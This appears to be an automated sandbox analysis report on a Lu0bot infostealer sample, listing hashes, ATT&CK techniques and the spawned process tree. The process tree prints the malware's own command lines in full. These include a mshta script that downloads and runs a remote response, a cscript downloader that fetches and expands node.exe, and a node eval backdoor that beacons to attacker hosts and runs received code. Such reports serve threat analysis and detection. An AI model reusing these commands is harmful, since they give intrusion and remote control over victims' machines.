lu0bot | 863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af

Analysis

max time kernel
152s
max time network
152s
platform
windows10_x64
resource
win10v20210408
submitted
20-07-2021 08:09

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General

Target

usfive_20210720-060205(1).exe
Size

3KB
MD5

463127c9a2b5eb1bca799aced10e4954
SHA1

df78c1cca98d6f260f744a2b0639e1fff1c11a5e
SHA256

863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af
SHA512

86c01a90941ad53e7d5c77b64c249bb0b4a69d9cc0f3e3971813464312a80ef6b06caef24cec9e9e194a25f0e667eafb445acbe9ce220830e4681312b498d9a4

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	3128	mshta.exe
13	2752	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1016	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3196	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
640	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1256	ipconfig.exe
3052	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1576	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\476b392368cefbf4:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:4672ebd37f9e76637f375dcd7c701bb9	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1016	node.exe
1016	node.exe
1016	node.exe
1016	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	640	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3976	wmic.exe
Token: SeSecurityPrivilege	3976	wmic.exe
Token: SeTakeOwnershipPrivilege	3976	wmic.exe
Token: SeLoadDriverPrivilege	3976	wmic.exe
Token: SeSystemProfilePrivilege	3976	wmic.exe
Token: SeSystemtimePrivilege	3976	wmic.exe
Token: SeProfSingleProcessPrivilege	3976	wmic.exe
Token: SeIncBasePriorityPrivilege	3976	wmic.exe
Token: SeCreatePagefilePrivilege	3976	wmic.exe
Token: SeBackupPrivilege	3976	wmic.exe
Token: SeRestorePrivilege	3976	wmic.exe
Token: SeShutdownPrivilege	3976	wmic.exe
Token: SeDebugPrivilege	3976	wmic.exe
Token: SeSystemEnvironmentPrivilege	3976	wmic.exe
Token: SeRemoteShutdownPrivilege	3976	wmic.exe
Token: SeUndockPrivilege	3976	wmic.exe
Token: SeManageVolumePrivilege	3976	wmic.exe
Token: 33	3976	wmic.exe
Token: 34	3976	wmic.exe
Token: 35	3976	wmic.exe
Token: 36	3976	wmic.exe
Token: SeIncreaseQuotaPrivilege	3976	wmic.exe
Token: SeSecurityPrivilege	3976	wmic.exe
Token: SeTakeOwnershipPrivilege	3976	wmic.exe
Token: SeLoadDriverPrivilege	3976	wmic.exe
Token: SeSystemProfilePrivilege	3976	wmic.exe
Token: SeSystemtimePrivilege	3976	wmic.exe
Token: SeProfSingleProcessPrivilege	3976	wmic.exe
Token: SeIncBasePriorityPrivilege	3976	wmic.exe
Token: SeCreatePagefilePrivilege	3976	wmic.exe
Token: SeBackupPrivilege	3976	wmic.exe
Token: SeRestorePrivilege	3976	wmic.exe
Token: SeShutdownPrivilege	3976	wmic.exe
Token: SeDebugPrivilege	3976	wmic.exe
Token: SeSystemEnvironmentPrivilege	3976	wmic.exe
Token: SeRemoteShutdownPrivilege	3976	wmic.exe
Token: SeUndockPrivilege	3976	wmic.exe
Token: SeManageVolumePrivilege	3976	wmic.exe
Token: 33	3976	wmic.exe
Token: 34	3976	wmic.exe
Token: 35	3976	wmic.exe
Token: 36	3976	wmic.exe
Token: SeDebugPrivilege	3052	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 3128	396	usfive_20210720-060205(1).exe	74
PID 396 wrote to memory of 3128	396	usfive_20210720-060205(1).exe	74
PID 396 wrote to memory of 3128	396	usfive_20210720-060205(1).exe	74
PID 3128 wrote to memory of 868	3128	mshta.exe	76
PID 3128 wrote to memory of 868	3128	mshta.exe	76
PID 3128 wrote to memory of 868	3128	mshta.exe	76
PID 868 wrote to memory of 2752	868	cmd.exe	78
PID 868 wrote to memory of 2752	868	cmd.exe	78
PID 868 wrote to memory of 2752	868	cmd.exe	78
PID 868 wrote to memory of 1316	868	cmd.exe	81
PID 868 wrote to memory of 1316	868	cmd.exe	81
PID 868 wrote to memory of 1316	868	cmd.exe	81
PID 868 wrote to memory of 3772	868	cmd.exe	82
PID 868 wrote to memory of 3772	868	cmd.exe	82
PID 868 wrote to memory of 3772	868	cmd.exe	82
PID 3772 wrote to memory of 1016	3772	cscript.exe	83
PID 3772 wrote to memory of 1016	3772	cscript.exe	83
PID 3772 wrote to memory of 1016	3772	cscript.exe	83
PID 1016 wrote to memory of 4052	1016	node.exe	86
PID 1016 wrote to memory of 4052	1016	node.exe	86
PID 1016 wrote to memory of 4052	1016	node.exe	86
PID 1016 wrote to memory of 3332	1016	node.exe	87
PID 1016 wrote to memory of 3332	1016	node.exe	87
PID 1016 wrote to memory of 3332	1016	node.exe	87
PID 1016 wrote to memory of 3196	1016	node.exe	88
PID 1016 wrote to memory of 3196	1016	node.exe	88
PID 1016 wrote to memory of 3196	1016	node.exe	88
PID 1016 wrote to memory of 3200	1016	node.exe	89
PID 1016 wrote to memory of 3200	1016	node.exe	89
PID 1016 wrote to memory of 3200	1016	node.exe	89
PID 1016 wrote to memory of 2584	1016	node.exe	90
PID 1016 wrote to memory of 2584	1016	node.exe	90
PID 1016 wrote to memory of 2584	1016	node.exe	90
PID 1016 wrote to memory of 640	1016	node.exe	91
PID 1016 wrote to memory of 640	1016	node.exe	91
PID 1016 wrote to memory of 640	1016	node.exe	91
PID 1016 wrote to memory of 3976	1016	node.exe	92
PID 1016 wrote to memory of 3976	1016	node.exe	92
PID 1016 wrote to memory of 3976	1016	node.exe	92
PID 1016 wrote to memory of 1256	1016	node.exe	93
PID 1016 wrote to memory of 1256	1016	node.exe	93
PID 1016 wrote to memory of 1256	1016	node.exe	93
PID 1016 wrote to memory of 208	1016	node.exe	94
PID 1016 wrote to memory of 208	1016	node.exe	94
PID 1016 wrote to memory of 208	1016	node.exe	94
PID 1016 wrote to memory of 3052	1016	node.exe	95
PID 1016 wrote to memory of 3052	1016	node.exe	95
PID 1016 wrote to memory of 3052	1016	node.exe	95
PID 1016 wrote to memory of 1576	1016	node.exe	96
PID 1016 wrote to memory of 1576	1016	node.exe	96
PID 1016 wrote to memory of 1576	1016	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3200	attrib.exe
2584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205(1).exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205(1).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:396
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();0;y=unescape('%318%36%7E%68t%74p%3A%2F%2Fa%73u%302%2Es%68o%70%2F%68r%69%2F%3F2%31a%36e%34b%7E1%304').split('~');182;try{x='WinHttp';5;x=new ActiveXObject(x+'.'+x+'Request.5.1');141;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);238;x.send();115;y='ipt.S';143;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);27;}catch(e){};167;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626768640845.txt & cscript /nologo /e:jscript get1626768640845.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2f0098db7%26b%3Daa2c1c33" node.cab & expand node.cab node.exe & del get1626768640845.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626768640845.txt & cscript /nologo /e:jscript get1626768640845.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f0098db7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626768640845.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:868
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626768640845.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2f0098db7%26b%3Daa2c1c33" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2752
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:1316
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626768640845.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f0098db7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3772
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f0098db7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1016
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:4052
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3332
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3196
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3200
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2584
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:640
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3976
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1256
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:208
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1016-128-0x000000001EE00000-0x000000001EE01000-memory.dmp

Filesize
4KB

Download
memory/1016-125-0x0000000015F00000-0x0000000015F01000-memory.dmp

Filesize
4KB

Download
memory/1016-126-0x000000002D100000-0x000000002D101000-memory.dmp

Filesize
4KB

Download
memory/1016-127-0x000000002F600000-0x000000002F601000-memory.dmp

Filesize
4KB

Download
memory/1016-129-0x000000001E100000-0x000000001E101000-memory.dmp

Filesize
4KB

Download
memory/1016-130-0x0000000027D00000-0x0000000027D01000-memory.dmp

Filesize
4KB

Download